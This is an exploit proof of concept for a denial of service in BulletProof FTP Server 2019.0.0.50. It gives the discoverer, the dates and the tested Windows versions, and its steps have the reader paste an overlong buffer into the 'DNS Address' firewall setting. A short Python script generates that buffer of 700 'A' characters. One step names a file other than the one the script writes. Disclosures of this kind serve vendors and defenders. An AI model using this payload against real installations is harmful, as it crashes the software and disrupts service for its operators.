#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-18#Vendor Homepage: http://bpftpserver.com/#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download#Tested Version: 2019.0.0.50#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64#Steps to produce the crash:#1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py#2.- Open bullet_storage.txt and copy content to clipboard#3.- Open BulletProof FTP Server#4.- Select "Settings" > "Protocols" > "FTP" > "Firewall"#5.- Enable "DNS Address" and Paste Clipboard#6.- Click on "Test"#7.- Crashed
cod = "\x41"* 700
f = open('bullet_dns.txt','w')
f.write(cod)
f.close()